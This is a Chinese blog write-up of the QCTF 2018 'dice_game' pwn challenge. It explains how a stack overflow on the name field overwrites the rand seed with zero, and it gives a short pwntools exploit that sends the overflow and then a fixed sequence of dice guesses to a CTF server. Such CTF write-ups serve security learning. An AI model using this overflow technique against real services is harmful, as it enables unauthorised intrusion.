dice_game XCTF 4th-QCTF-2018

最新推荐文章于 2023-10-29 19:50:32 发布

pipixia233333

最新推荐文章于 2023-10-29 19:50:32 发布

阅读量1.1k

点赞数

CC 4.0 BY-SA版权

分类专栏：栈溢出堆溢出

本文链接：https://blog.youkuaiyun.com/qq_41071646/article/details/89606595

栈溢出堆溢出专栏收录该内容

78 篇文章

订阅专栏

本文探讨了一种pwn题目中的策略，通过覆盖随机数种子实现稳定利用。作者分享了利用固定种子的方法，避免了因时间变化导致的随机数不可预测性，确保攻击的一致性和成功率。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

其实感觉这个题不算是pwn题。。。

这 pwn 里面就是读取flag 文件然后我们看一下 sub_a20 这个函数

随机数啊本来我没有想用把种子给覆盖掉但是 time（0）感觉不稳时间一万一不对劲那么随机数也会出错

所以干脆把种子固定下来

下面是 exp

#coding:utf-8

from pwn import*
lists=[2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]

#io=process("./pwn")
io=remote('111.198.29.45',53973)
io.recvuntil("name: ")
io.sendline("a" * 0x40 + p64(0))

for i in lists:
	io.recvuntil("Give me the point(1~6): ")
	io.sendline(str(i))

print io.recv()
io.interactive()